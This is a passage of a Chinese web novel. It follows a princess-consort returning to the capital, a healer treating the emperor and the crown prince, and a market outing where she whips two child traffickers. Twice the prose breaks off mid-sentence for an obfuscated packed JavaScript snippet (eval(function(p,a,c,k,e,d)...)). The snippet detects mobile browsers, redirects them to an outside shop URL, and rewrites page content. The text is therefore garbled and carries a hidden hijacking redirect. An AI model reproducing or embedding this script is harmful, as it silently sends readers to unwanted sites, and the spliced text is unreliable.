她看到秦熠那紧张的模样,忍不住“噗嗤”一声笑了出来。她心情愉悦地关上了车窗,留下秦熠在车外抱着大雁,脸上带着无奈又宠溺的笑容。 一旁的秦秀灵见宁玉瑶关上车窗,顿时柳眉倒竖,又狠狠地抽了秦熠一鞭,“你小子皮痒了是不是,万一磕着郡主怎么办!” “不会的,我看着呢。”秦熠抱着大雁,不敢闪躲。那两只大雁在他怀里扑腾着,他只能硬生生地受了阿姐的这一鞭子。 长公主殿下怕江老磕碰着,将马车内包上了厚厚的软垫,确保江老不慎摔倒也绝不会有事。这般柔软的马车,他才敢这样将玉瑶放进去。 “就算不会有事你也不可如此放肆!”秦秀灵继续教训道。 “知道了。”秦熠蔫蔫地应着,他无奈地叹了口气,放出怀中那两只嘎嘎叫唤的大雁。 秦熠将它们交给秦将军府的侍卫们,“哥哥们,可得帮我好好照顾着它们了。” 侍卫们看着秦熠那副小心翼翼的模样,忍不住哄然大笑。“熠小子你只管放心。” 他们都知道这两只大雁的重要性,这可是事关秦熠的终身大事,不用秦熠交代,他们也肯定会放在心上。 马车内,宁玉瑶笑意盈盈地问江思明:“江老,您这一路可吃的消?” “这么多人围着老夫,还能亏待老夫不成?”江思明靠在马车的软枕上,神态悠然。 宁玉瑶轻轻点头,环顾四周,车内的布置简约而不失温馨,每一处细节都透露着用心。 她一眼就看出这车内的布置是娘亲的手笔,与当初她出发去定州时的布置相差无几。虽然车内没有违制的物品,但都用着尽可能舒适的用具替代了。那些精致的小摆件,柔软的寝具,无不彰显着娘亲对江老的尊重和照顾。 “丁丫头。”江思明突然出声喊道。 宁玉瑶立刻回神,看向向江思明。 一旁的陆广维见状,刚想要提醒师父应尊称这位为郡主。宁玉瑶却摆摆手,“无碍的,江老于我有大恩,又算是我半个师父,他想怎么称呼都可以。” “早说了你别这么小心翼翼,”江思明转过头教训陆广维,“丁丫头还可以算你半个师妹呢。” 陆广维在旁讪笑着,不敢接话,师父您老人家是神医,更是备受尊敬的人瑞,谁都敬您三分。而他自己只是一个小小的太医,还能真的在明安郡主面前拿乔?那他的太医院院正之位恐怕也做到头了。 江思明看陆广维那副战战兢兢的模样,也懒得再去说他,只是扭过头继续问宁玉瑶他之前就想问的问题,“这些时日可有研习医术?” 宁玉瑶一听这话,心里顿时有些发虚。自从回到雁京,她每日都在吃喝玩乐,早已将学医的事情抛到了九霄云外。 她低下头,想了想,然后小声道:“我把苍荻的朱旦英给治死了算不算?”她的声音越来越小,自己也知道这并不是一件值得炫耀的事情。 这事宁玉瑶告诉承武帝的时候,陆广维已经离开了雁京。此时听到明安郡主将人致死了,他的眉心狠狠一跳,小心翼翼地觑着师父的脸色,就怕师父会因此怒骂郡主。 但是还好,江思明只是淡淡地问:“怎么治死的?” 他的语气平静,没有丝毫的愤怒和责备,仿佛只是在询问一个普通的医案。 宁玉瑶见江思明没有生气,心中稍稍松了一口气。她有条不紊地讲述着她用了何种手段,以及利用了什么药作为药引将他的病症彻底引发导致他身亡。从病症的表现到用药的剂量,再到用药后的反应,都讲得清清楚楚。 随着她这么一说,陆广维越听越心惊。他原本以为郡主只是略懂医术,没想到她居然有这等本事。郡主行事大胆,用药精准,让他不由得对宁玉瑶刮目相看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027848|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也渐渐来了兴致,参与进二人的讨论中。 等朱旦英之事讨论完,陆广维才突然反应过来,师父方才在与他们讨论用医术杀人!这可与以前师父教导他们的不一样。 江思明自然注意到了徒弟惊讶的眼神,他微微瞥了一眼小几上的茶盏,宁玉瑶连忙双手递到他手中。 他接过茶盏,轻轻饮了一口茶,才开口道:“收起你脸上的那幅蠢表情,丁丫头是什么人,你们是什么,老夫若不从严管教你们,真怕你们造下的杀孽算到老夫头上。” 陆广维闻此,立刻领会了师父的深意。明安郡主身份尊崇,她若对某人不满,无需这般周折,仅需一言,自然有许多人愿为其效力解决,不必亲自动手。况且郡主心地纯良,天性善良,断不会滥杀无辜。 更重要的是当时郡主身处苍荻,师父如此教导她,最主要的还是让她能够自保,多一些活命的本事。 他立即端正自己的表情,向江思明拱手行了个弟子礼,诚恳道:“弟子明白了。” 江思明掀起眼帘看了那孽徒一眼,又继续问宁玉瑶她在国都时用了什么药。 宁玉瑶立刻将她在国师府的事一一讲述,以及她用了生锈的铁针之事。 江思明听着宁玉瑶的讲述,垂眸陷入了沉思。他思及之前宁玉瑶所说的苍荻医官们吊命的本事,在心中默默地算了算日子,沉吟片刻后道:“若无意外,苍荻王还能拖上三个月左右,苍荻国师可能就是这些时日的事了。” 宁玉瑶听到江思明的话,惊讶道:“那就要赶紧告诉舅舅,早做准备了。” “什么事要告诉朕?”就在这时,马车外传来一道威严的声音。 宁玉瑶这才发现马车不知何时已经停下,她连忙打开车门。只见承武帝和母亲,以及太子正站在车门外。 “舅舅。”宁玉瑶连忙跳下马车,靠近承武帝,在他耳边轻声说了方才江老神医的推测。 承武帝听后,讶异地挑眉,他之前知道瑶儿对苍荻王和国师动了手,本以为只会让他们大病一场,却没想到那些药的威力如此之大。 他不禁暗暗思索,不知道苍荻下一任继位者可有本事应对这局面?不过不论如何此事都可以好好利用一番。 思忖间低头正对上宁玉瑶明亮的眼眸,承武帝笑道:“瑶儿送给舅舅如此大礼,舅舅过几日便给你奖赏。” “什么奖赏?”宁玉瑶眨巴眨巴眼睛。 “到时候你就知道了。”承武帝拍拍她头上的兜帽,让她一边玩去。 宁玉瑶不耽误舅舅的正事,扭头看见秦熠正悄悄地让秦府侍卫将大雁送回府,那两只大雁被侍卫小心翼翼地抱着。宁玉瑶顿时来了兴致,连忙跑了过去。 承武帝好笑地看着宁玉瑶的背影,轻声对祁婧惠笑道:“女大不中留了。” 祁婧惠看着又挨在一起打打闹闹的二人,失笑摇了摇头,没有说话。 “草民参见陛下。” 承武帝听见声音回过头,看见陆广维搀扶着一名苍老的老者正欲跪地行礼。那老者虽年事已高,但依然精神矍铄。 承武帝连忙示意苏德茂上前扶起老者:“江神医无需多礼,朕特准你面见朕时无需行跪拜之礼。” 江思明站稳后,微微躬身道:“草民谢陛下体恤。” 他直视承武帝片刻,仔细观其面色,听其声音,心中已经大致有数。他神色轻松,承武帝的身体并不麻烦。 承武帝没注意到江思明的神色,他今日来是为了接嘉阳长公主祁婧惠。既然长公主已经接到,便下令回宫,江思明一同前往。 “陛下,”祁婧惠忽然道,“方廷峪等人如何处置?” 在场众人这才想起来,后面还有一列囚车。 “先压去大理寺。”承武帝道,他的语气平淡。这种大好日子,他并不想提起那些扫兴的人。 于是那几辆囚车便没有任何停歇地往大理寺驶去,车轮在雪地上留下深深的痕迹。 另一边,秦秀灵已经随秦府侍卫返回秦将军府。 秦家人今日并未出城迎接,虽然秦家两个孩子都出了门,但冬日雪天让家中长辈出城迎接两个孩子也未免太不像话,秦家人便都在府中等待。 秦熠则跟在宁玉瑶身后,他的目光一直落在宁玉瑶身上,他想护送宁玉瑶进了皇城再回府。 宁璟瑞本想调侃秦熠几句,却直接被姜婉珍拖走,秦熠远远地还能听见姜婉珍数落宁璟瑞的声音,“人家久别重逢,你凑什么热闹,这么闲,回家带孩子去。” 宁玉瑶与秦熠对视一眼,两人心领神会,凑在一起偷偷笑了起来。 坐在銮舆中的承武帝含笑看着二人玩闹,看着秦熠一边招惹宁玉瑶,又一边温柔地替她挡住飘落的雪花。 他一扭头,看见旁边满脸不悦的太子,似乎不太高兴看到宁玉瑶和秦熠如此亲密。 承武帝笑道:“你这副神情,让朕想起当初阿姐出嫁时的场景。” 銮舆外的宁渊和祁婧惠轻笑,祁婧惠大婚时,承武帝彼时仍为太子,那时的他亦是这般神态,觉得所有抢了他阿姐的都是坏人,对宁渊充满敌意。 时光荏苒,一晃多年已过,如今的太子亦如当初的承武帝那般仇视着抢走自己阿姐的人。 121.瓦肆 寝宫内,承武帝双目微闭,斜倚在御榻上,面色略显疲惫。 江思明坐在塌侧的椅子上,神色专注地替承武帝把脉。 寝宫内十分安静,皇后和太子在一旁静静地坐着,其余闲杂人等都只得在外间,不敢随意进入。 唯有宁玉瑶被承武帝留在身边,她紧张地趴在御榻边,眼睛一瞬不瞬地盯着承武帝,再会时不时转头看看江思明,试图从他的表情中探出一丝端倪。 但江思明的神色如常,宁玉瑶看不出什么异样。她心里着急,想开口询问,又怕打扰到江老,只好皱着脸,乖乖地安静坐着。 江思明收回手,转头就看见一张皱巴巴的小脸,他顺手轻轻敲了敲宁玉瑶的头,“都说明安郡主庄重沉稳,你这是什么表情?” 宁玉瑶歪着头,大眼睛里写满了疑惑,“我还能得到这样的批语呢?” 承武帝和皇后都忍不住笑出声来。 自从上次生辰之后,雁京城中对宁玉瑶的夸赞越发离谱。庄重沉稳倒还算是比较像样的说法,可那什么才华横溢,武艺超群之类的,说出去都没人信。 见长辈们都在笑自己,宁玉瑶撅着嘴,但她没说什么,只是急切地问道:“江老,舅舅怎么样?” “先吃几日药,好好养养身体,五日后开始泡药浴。”江思明抬头看向桌案处。 陆广维一直在旁守候,见江思明看过去,连忙拿起笔,“师父,您说。” 江思明不紧不慢地开始念着方子,陆广维随着他的话,手中的笔在纸上飞速舞动,他的神情越来越激动,等最后一字落下,他忍不住大呼:“妙极,妙极!” 一旁的宁玉瑶微微皱眉,若有所思,江思明见状,笑着问她:“听懂了吗?” “一点点。”宁玉瑶不好意思地小小比划了一番。 “听不懂就对了,”江思明拄着拐杖站起身,宁玉瑶连忙上前扶着他,江思明着正对着药方仔细研究的陆广维道,“他都不一定能明白这里面的深意,别提你了。” “江神医……”皇后忍不住轻声问道,“陛下究竟如何?” “不是什么大事,先服药补气血,然后泡药浴辅以针灸清余毒,最后再泡一阵药浴补补精气便可,不说长命百岁,至少与普通人无异。”江思明的话语沉稳而有力,给在场的人吃了一颗定心丸。 众人闻言大喜过望,然而江思明却并未显露出多少喜色,他在宁玉瑶的搀扶下,径直走向祁晖珏,神色凝重地说道:“陛下已无碍,现在轮到您了,殿下。” 承武帝和皇后听闻此言,顿时大惊失色。 皇后愕然:“珏儿素来康健,昨日还请了平安脉并无异样……” 江思明并没有像之前在小谷村那般直言他们水平不济,只是静静地站在祁晖珏身前,目光温和轻声道:“有些病症并非表现在身体表面,但一旦发作便药石罔效,殿下,可否让老夫一探。” 祁晖珏虽然并未觉得身体有何不适,但看着父皇母后担忧的眼神,便顺从地将手轻轻放在椅子一侧的茶桌上。 苏德茂见状,连忙搬来椅子,恭敬地请江老坐下。 这次江思明把脉的时间不长,只是片刻便放开了手,他微微皱起眉头,神色凝重地说道:“肝郁气滞,郁结于心,十三岁的少年郎,本应少思少虑,你父皇还能活很久,别把自己逼太狠,否则你的身体会被你的心思拖累。” 皇后听到这话,脸色瞬间变得煞白,“怎会如此严重!江神医可有药可治?” 江思明缓缓摇头,皇后紧握着祁晖珏的手,眼眶泛红,泫然欲泣。 但紧接着,江思明又道:“心病还需心药医,只要殿下充分休息,多放松身心,便能自愈。” “可政事……”祁晖珏面露犹豫,父皇还未痊愈,还有诸多政务尚未处理妥当,此时若放下离开,他担心父皇太过劳累。 “听江神医的,”承武帝坐起身,看着祁晖珏柔声道,“这些时日吾儿辛苦了,待过些时日,父皇便可痊愈,你大可放心。” 祁晖珏垂眸不语,心中自责。仅仅是这些事务便能让他郁结于心,自己居然如此不堪大用。 江思明看到祁晖珏这神态便知他又钻了牛角尖,他轻轻叹了口气,无奈地摇了摇头,看了一眼站在身侧的宁玉瑶。 宁玉瑶自从知道舅舅会与常人无异后便心情愉悦,虽然珏儿又如前世一般思虑过重,但有江老在,她知道情况不会太糟糕,所以并不担心。 果然,看见江思明的示意,她立即明白了该怎么做。 她脸上绽放出灿烂的笑容,拉着祁晖珏的手一同站起来,欢快地说:“舅舅,舅母,瑶儿带珏儿出宫玩几日,待舅舅药浴那日再回来可好?” 承武帝含笑点头应允:“去吧。” “我不……”祁晖珏拒绝的话还没说出口,就被宁玉瑶拉着跑远了。 皇后看着儿子被拉着踉跄跑远的背影,轻轻地擦去眼角悬而未落的泪水,起身坐至承武帝身侧,对着江思明感激道:“接下来,便有劳江神医了。” “草民不敢,娘娘严重了。”江思明连忙起身,恭敬道。 皇后观察入微,她敏锐地看出江思明脸上的疲惫,江神医毕竟已经九十有余,如此高龄,一路舟车劳顿回到雁京,未有片刻休息便耗费心神替陛下和太子诊脉,着实是辛苦了。 于是,她温声道:“江神医这些时日便在玉裴殿休息,您看可好?” 玉裴殿是距离承武帝的寝殿最近的一处宫殿,这里不仅方便江老就近替承武帝治疗,也能让江老少些奔波之苦。 “草民谢陛下,娘娘体恤。”江思明再次躬身谢恩 皇后示意白珊让人好好伺候着,白珊会意,立刻转身出去安排。 待江思明退下后,祁婧惠才缓步走进内室,众人在外间自然听到了这个好消息,此时她一脸轻松。 承武帝看着铠甲未褪,风尘仆仆的祁婧惠,心中涌起一股暖流,同时又带着些许惭愧道:“又让阿姐如此劳累。” 祁婧惠握着皇后的手,转过头,看着承武帝苍白削瘦的脸,不禁失笑,“怎么如此姿态,一家人不说这些,你好生休养,我也先回府了,不然瑶儿不知道能带太子闯下什么祸事。” 承武帝听到姐姐的话,也忍不住笑道:“瑶儿如此乖巧,能闯什么祸?天大的祸事都有朕担着。” 而乖巧的宁玉瑶带着换上常服的祁晖珏,兴高采烈地出了宫便直奔瓦肆。 眼下已近年关,整个雁京城都沉浸在喜庆的氛围中。夜间的宵禁也推迟了许多,此时的瓦肆中热闹非凡,灯火辉煌,人群熙熙攘攘。 耍杂技的,表演魔术的,唱戏的,各种杂耍艺人,在里面施展着浑身解数,表演着精彩纷呈的杂戏。 宁玉瑶在苍荻国都时,曾与秦熠去过与雁京瓦肆类似的地方,如今她对这热闹的地方不算陌生,哪里人多就带着祁晖珏往哪里钻。 只是身边跟着保护太子的亲卫们苦不堪言,此处人多手杂,稍有不慎便失去两位祖宗的身影。 他们在人群中艰难地穿梭,只有自宁玉瑶归来后,被承武帝重新派至宁玉瑶身边的丹素和丹诺紧紧地跟在二人身旁。 已经比宁玉瑶略高一寸的祁晖珏,也努力地小心护着宁玉瑶。虽然他是第一次来这里,但他丝毫没有心思欣赏那些杂戏,他的全部注意力都在阿姐身上,只怕阿姐被人挤到。 宁玉瑶看他这幅紧张的模样,不禁觉得有些好笑,拉下他的手,指着前面兴奋地说道:“你别管我,看那里。” 祁晖珏顺着宁玉瑶的手指往前看去,只见一名壮汉手中拿着一根长长的铁杆,杆头正喷射出绚丽夺目的火花。 火花如流星般飞溅而出,在夜空中绽放成一朵朵巨大的金色花朵,炽热的铁水在空中四散开来,化作千万点璀璨的星光,照亮了整个场地,人群中不时发出阵阵惊叹声。 祁晖珏从未见过如此绚烂的铁花,大睁的双眼中满是震撼,他赞叹道:“想不到民间竟有如此技艺。” 宁玉瑶笑道:“这些独特的表演仅能在民间得以亲见,那铁水温度奇高,一旦沾染上身体,瞬间便会烫出偌大的创口,正因如此,无人胆敢将其带入宫中冒险展演。” 看完打铁花,宁玉瑶又兴致勃勃地带着祁晖珏挤入人群中看皮影戏。 皮影戏的幕布前,几个简陋的人偶在艺人的操控下活灵活现地舞动着。 虽然不像宫中的皮影戏那般制作精巧,但却别有一种粗犷的味道。那简单而质朴的线条,夸张的动作,配上充满乡土气息的唱腔,别有一番韵味。 祁晖珏看着周围百姓们的欢呼声,远处传来的热闹的锣鼓声,虽然很吵,但是却让他感受到了一种盛世的繁华。 他的脸上渐渐带上笑容,不再像之前那般拘谨和担忧。他开始融入这热闹的氛围中,与周围的百姓一起为精彩的表演鼓掌喝彩,享受这难得的盛况。 “好玩吧。”看完皮影戏,宁玉瑶领着祁晖珏从熙熙攘攘的人群中费力地退出来。 她手中拿着一串冰糖葫芦,那红彤彤的果子在灯笼下闪烁着诱人的光泽。她迫不及待地张嘴咬了一口,却瞬间被里面的山楂酸得五官都皱在了一起。 她硬着头皮咽下口中那酸涩的山楂,好不容易缓过劲来,发现祁晖珏正眼睛一眨不眨地盯着她,她手忙脚乱地收起冰糖葫芦,“别看,你不能吃。” 祁晖珏确实有些好奇,那冰糖葫芦看起来红红的,似乎很美味。但他也知道轻重,不能在外面随意吃东西。 可看着宁玉瑶那副模样,他又不满道:“阿姐你都能吃,为什么我不能吃。” “因为我百毒不侵!”宁玉瑶骄傲地拍拍胸口。 祁晖珏挑了挑眉,觉得阿姐肯定是在骗他。他不服气,伸出手就朝着宁玉瑶的方向抓去,作势要抢她手中的糖葫芦。 宁玉瑶见状,连连后退,一边躲避着祁晖珏的手,一边紧紧握着冰糖葫芦,两人在人群中穿梭奔跑,笑声不断。 打闹间,宁玉瑶一不小心趔趄一步,身体失去平衡。丹素和丹诺没来得及拉住她,只能看着她直直撞上从旁边的人群中钻出的一对年轻夫妻,女人怀中还抱着一个孩子。 奇怪的是,被宁玉瑶这般一撞,孩子居然毫无反应。 “没长眼睛吗!”女人旁边的大汉恶声恶气道。 侍卫们见状,连忙奋力往这边挤过来。 祁晖珏扶着宁玉瑶站稳,他深知在这种场合不宜节外生枝,便微微拱手,“家姐不小心撞到了这位夫人,还请见谅。” 这对夫妻似乎有急事,只是匆匆说了句,“算了,饶你们一回。”便抱着孩子转身匆匆离开。 他们与宁玉瑶擦肩而过时,宁玉瑶鼻尖微动,一股淡淡的不寻常的气味传入她的鼻中。她大喝一声:“站住!” 这对夫妻不但不停,反而脚步更加匆忙,这让宁玉瑶更加肯定了自己的猜测。 她的眼神瞬间变得锐利,毫不犹豫地抽出腰间御赐的长鞭,她用力一甩,狠狠向抱着孩子的女人抽去。 宁玉瑶的鞭子本就是特制而成,威力巨大,轻易便可见骨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038064|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这一鞭下去,即便女人身穿厚棉袄,也被宁玉瑶一鞭子抽破。棉袄的布料裂开,里面的棉絮飞扬出来。 二人见势不妙,想要逃跑。却不想第二鞭接踵而至,划过她衣服破损的地方,将她的后背抽出一道触目惊心的血痕。 女人吃痛,“啊”地一声惨叫,险些跪下。 她的丈夫见状大怒,眼睛通红,挥舞着拳头就向宁玉瑶冲来。 祁晖珏怎么可能站着看阿姐挨打,他毫不犹豫地冲上前,接住那人的拳头,与这名男子扭打起来。 他们在人群中纠缠在一起,周围的人纷纷尖叫着躲避。本就吵杂的瓦肆内顿时更加混乱。 侍卫们看见太子和郡主在瓦肆内和人打架,他们简直吓出了一身冷汗。心脏瞬间提到了嗓子眼,连忙拨开人群赶来,用力将那两人按倒在地。 “干什么!”女子扔下孩子,挣扎不休,她的头发凌乱,怒吼道,“朗朗乾坤,你们就要谋财害命吗?” 她的声音尖锐刺耳,似乎想引起周围人的同情。 “谋什么财,你有什么可谋的?”宁玉瑶走至女子身前,眼神冰冷看着她,示意侍卫将被扔在地上依旧昏迷不醒的孩子抱过来。 此时他们身边已经围满了百姓,七嘴八舌地议论着。有人对着宁玉瑶指指点点,直说又有贵人在此横行霸道,也有眼尖的发现了孩子的异样,连忙劝道:“先别说话,这两个恐怕不是好人。” 祁晖珏整了整凌乱的衣裳,他跟在宁玉瑶身后,轻声问道:“阿姐,此人有何异常?” “我怀疑他是人贩子。”宁玉瑶亦小声回答,她的目光一直盯着孩子,示意侍卫将孩子抱过来。 宁玉瑶仔细看了看孩子,小孩约莫周岁年纪,小脸白白嫩嫩,此时一动不动地躺在侍卫怀中。宁玉瑶仔细闻了闻孩子身上的味道,喃喃道:“果然是迷药。” 她伸出手,被人群挤得好不容易才挤过来的青筱连忙递上银针。 宁玉瑶拿起针,先在孩子的人中穴上轻轻扎了一针,然后又在百会穴上扎了一针。 片刻后,孩子慢慢转醒,他看着周围陌生的人,嘴巴一撇,哭了起来。那哭声响亮,打破了现场紧张的气氛,也让人们的心稍稍放下了一些。 “你们干了什么,把我儿子怎么了?”女人见孩子哭闹,更加疯狂地挣扎着问道,仿佛真的是一位担心孩子的母亲。 然而她的怒吼中却又透着一丝心虚,只是此刻众人都被她的喊声吸引,并未察觉。 “你儿子?”宁玉瑶眼中闪过一丝嘲讽,她让侍卫带着孩子让开,然后毫不犹豫地拿起鞭子,又对着女人狠狠地抽了过去。鞭子在空中划过一道凌厉的弧线,重重地落在女人身上。 女人痛呼出声,声音凄厉而尖锐,她哭嚎道:“你们想休抢我儿子!”她的脸上涕泪横流,看起来十分狼狈。 宁玉瑶看穿她的把戏,哼笑一声,将沾了血的鞭子扔给侍卫,:“去把雁京府尹叫来,其他人,找找周围有没有他的同伙。” “不用找了。”人群外一个年轻男子朗声道。 宁玉瑶双眸一亮,“熠哥哥!” 秦熠轻巧地推开人群走了进来,“那些同伙已经被抓住送去雁京府衙了。” “熠哥哥你怎么来了?”宁玉瑶惊喜道。 “你和少爷迟迟未归,夫人让我来寻你们。”出门在外,秦熠只得含糊道。 宁玉瑶这才发现快要宵禁了,她抿唇笑了笑,想到方才秦熠说的话,连忙问:“熠哥哥,你说抓到他们的同伙了?” “嗯,刚才我抄近道过来的时候听到他们在商量卖家,便顺手将他们抓了。”秦熠轻描淡写道。 宁玉瑶同情地看了地上跪着的二人一眼,想必原本那些同伙躲藏的位置极为隐蔽,但熠哥哥的近道,近是很近,但不是一般人能走的,只能算他们活该吧。 周围的百姓们听明白了是怎么回事,原本嘈杂的议论声渐渐平息,正在此时,远处传来一阵女子的哭喊声:“孩子!我的孩子!” 有好事的男子高呼:“在这里。” 哭喊声渐渐靠近,百姓们自发地为那名女子让开一条道路。 女子头发凌乱,满脸泪痕地冲了过来。当她看到侍卫怀中已经止住哭声正在舔旁人递过来的糖人的孩子时,惊叫一声扑了上来:“虎头!” 孩子抓着糖人,咧着嘴含糊地叫了一声:“娘!” 女子抱着失而复得的孩子,激动得不能自已。她就要跪下给那名侍卫磕头,以表达自己的感激之情。 侍卫忙道:“是我家少爷小姐救了你的孩子。” 女子闻言,连忙转过身,抱着孩子就冲到宁玉瑶身前,毫不犹豫地跪下给宁玉瑶和祁晖珏结结实实地磕了个头。 宁玉瑶让丹素将人扶起,柔声道:“以后要多加小心了。” “是,是,多谢小姐少爷大恩大德。”女子感激涕零,她的声音哽咽着。 既然是明安郡主和太子有请,雁京府尹很快便赶到了瓦肆。 周围百姓太多,他也不可对太子行礼,便只得拱手后公事公办将那二人带走。 当人贩子被衙役羁押,周围的百姓们爆发出一阵剧烈的欢呼声。 祁晖珏看着欢呼雀跃,高声称赞他们的百姓们,心中涌起一股复杂的情绪。他垂下眼睑,随着阿姐登上回长公主府的马车。 他虽然没有说话,但脸上的郁色渐渐散去。他不知道自己心里是何种想法,但听着百姓们粗陋浅显远比不上朝臣文采斐然的夸奖之词,他的心中却格外触动。 122.活泼 马车缓缓停在长公主府外,宁玉瑶没等下人来扶,自己就轻盈地跳下了马车,她一路小跑至刚刚从月影背上跃下的秦熠身前。 月影温顺地低下头,亲昵地蹭蹭许久未见的小主人。 宁玉瑶笑着拍拍月影的大脑袋,然后抬起头,期待地问秦熠:“熠哥哥,这几日你可在府上?” 秦熠微笑着点头,“这些时日我都在家中。” 今日出宫时他遇见了精锐营统领刘浚,刘统领让他多休息一些时日,等年后再回去复职。 宁玉瑶听到秦熠的回答,开心地说:“那这几日等我来找你。” “好,”秦熠温柔地应道,伸出手轻轻拍掉她兜帽上的雪花,“我会在家中等你,快进去吧,别着凉了。” 宁玉瑶回头看见祁晖珏已经下了马车,正在一旁等着她。她连忙与秦熠挥手道别,拉着祁晖珏跑进长公主府。 秦熠则一直站在原地,直到再也看不见宁玉瑶的身影,才牵着月影缓缓往秦将军府走去。 “娘!”宁玉瑶刚一跑进正厅,就径直冲进祁婧惠怀中,紧紧地抱住她。 祁婧惠被女儿这突如其来的举动弄得微微一怔,原本心中因女儿带着太子去瓦肆而燃起的怒火,在这一瞬间就如同被一阵清风拂过,瞬间消散得无影无踪。 她无奈地笑了笑,轻轻拍了拍女儿的背,“你呀,这么淘气,怎么带太子去瓦肆了?” “女儿听说这几日来了几个打铁花的杂戏艺人,听说他们的表演极为精彩,便想带珏儿一同去看看。”宁玉瑶笃定母亲不会真的对她生气,在祁婧惠怀中抬起头,娇笑道。 “那又怎么和人打起来了?”祁婧惠放开女儿,走到祁晖珏身前,准备仔细查看一番。 宁玉瑶跟在母亲身后,如同一条不安分的小尾巴绕来绕去,急忙回答母亲刚才的问题:“娘,那个孩子还未满周岁,粉雕玉琢的,可见平时养得极好,若是不慎弄丢,他的母亲该是何等伤心。孩儿当时并未作过多思量,只是一心想着绝不能让那些人将孩子带走。” 祁婧惠翻看祁晖珏双手的动作一顿,是啊,孩子要是丢了,当娘的肯定能去了半条命。女儿丢了的这一年,她简直度日如年,她太能体会那种失去孩子的痛苦了。 想到这里,她的眼神变得柔和起来,没有再问,只是继续仔细地查看祁晖珏的身体,从头发到手脚,每一处都不放过。见他确实没有受伤,才长舒了一口气,轻声对祁晖珏道:“说是有哪里不妥一定要及时告诉姑母。” 祁晖珏乖巧应下:“姑母放心,珏儿无事。” 祁婧惠看着今晚明显活泼许多的太子,罢了,只要没事就好,太子循规蹈矩了十多年,难得出格一次。她也没必要扫兴,否则太子只会愈加自责。 她缓和了面色,伸手将太子头上略显凌乱的发丝整理好,轻笑道:“你们早些休息,钦天监说明日天晴,是个好天气,可以带些人去城外看看。” “好!”太子还没来得及回答,宁玉瑶立即嬉笑着应下,拉着祁晖珏转身就走,“爹,娘,我先带珏儿去他住的地方啦!” 一直在旁默不作声饮茶的宁渊看着宁玉瑶风风火火的背影,轻啧了一声:“原来乖女儿看到他爹了啊。” 祁婧惠见他这幅酸溜溜的模样,忍不住笑出声来,“女儿回来这么多天,你还没看够?” “女儿回来了有我的份吗?”宁渊惆怅地放下茶盏,“娘娘恨不得瑶儿住在宫里,这些时日我见女儿的次数屈指可数。” 真不知道瑶儿是谁的女儿,亲爹想见一面都如此困难。 “行了,”祁婧惠笑着拍拍他的手,“娘娘也是因为疼爱瑶儿才会如此,别醋了,去休息吧。” 宁渊立即将女儿的事搁置一旁。 成婚二十余载,夫妻二人从未像此次这般分离许久。于他而言,任何事物皆无法与爱妻相提并论。 他站起身,温柔地扶着祁婧惠往寝房内走去,“如今陛下的事情已经解决,我们一家人也已团聚,你可以好好休息了。” 祁婧惠微笑颔首,目光柔和地看着身旁的丈夫,曾经的那些担忧与困扰正逐渐消散,生活已逐步迈入正轨,一切皆在朝着良好的态势发展。 腊月初五,纷乱的一天就此度过,仿佛所有的事情都在这一天迎来了转机。就连那漫天呼啸的风雪,也渐渐平息下来。 第二天清晨,当第一缕阳光穿透云层,洒在被积雪覆盖的大地上时,整个世界都被镀上了一层金色的光辉。 宁玉瑶前一日玩闹了整整一天,此时还沉浸在甜美的梦乡中尚未醒来。她带着太子大闹瓦肆的事情,却迅速传到了朝臣耳中。 今日恰巧是大朝议,金銮殿内气氛庄重严肃。被江老神医精心调养了一日的承武帝,虽然身体并没有明显的好转,但相较于往日的疲惫不堪,今日他已经感觉好了许多。 就在他龙心大悦,准备与群臣商议国事之时,却突然听到御使参奏明安郡主。“陛下!堂堂太子却进出勾栏瓦肆,这若传扬出去,成何体统!” 杨御史言辞激烈,话里话外都是在指责明安太过骄纵,居然带着太子进出勾栏瓦肆那等低贱之地,实在是有损皇家威仪。 明安真的骄纵吗?承武帝坐在龙椅上,仔细思考杨御史的话。 明安如此乖巧,孩子不过是活泼些罢了,一不杀人二不放火的,就是贪玩,这又何妨?不过是孩子的天性使然,无伤大雅,无伤大雅。 “杨御史!”礼部尚书眼见杨御史的话越说越过分,连忙高声制止他,“殿下昨日微服私访,与民同乐,乃是一庄美事。明安郡主更是意外抓捕到一伙略卖人,昨晚雁京府尹顺藤摸瓜,解救出了十数名孩童与无辜女子,此事难道不是大功一件吗?这对我大宸百姓而言,是何等的幸事!对朝廷而言,亦是维护了社稷安宁!” 杨御史心中虽也明白明安郡主昨日有功劳,但他始终认为太子进入那种地方不合规矩,太子的身份尊贵,怎能涉足勾栏瓦肆这样的场所。 他涨红了脸,还想继续争辩:“即便如此!明安郡主也不该带殿下出入如此低……” “杨御史!慎言!”原本上朝从不开口的孙太傅此时也难得出言喝止,“那些是大宸百姓!是陛下的子民!你饱读圣贤书就是如此贬低大宸百姓的吗?!” 朝中原本与杨御史有同样想法的大臣们听到孙太傅的话,纷纷垂下眼帘,默不作声。 谁不知道陛下一向勤政爱民,他们虽然在心中自诩高人一等,但也不敢像杨御史这般口无遮拦地贬低百姓,忽视郡主与太子的功绩。 有人偷偷抬眸看了一眼御座上的承武帝,心中轻叹,杨御史恐怕乌纱不保。 果然,孙太傅话音刚落,承武帝淡淡地开口:“杨晋宇。” 他的声音不大,却有一种无形的威压。 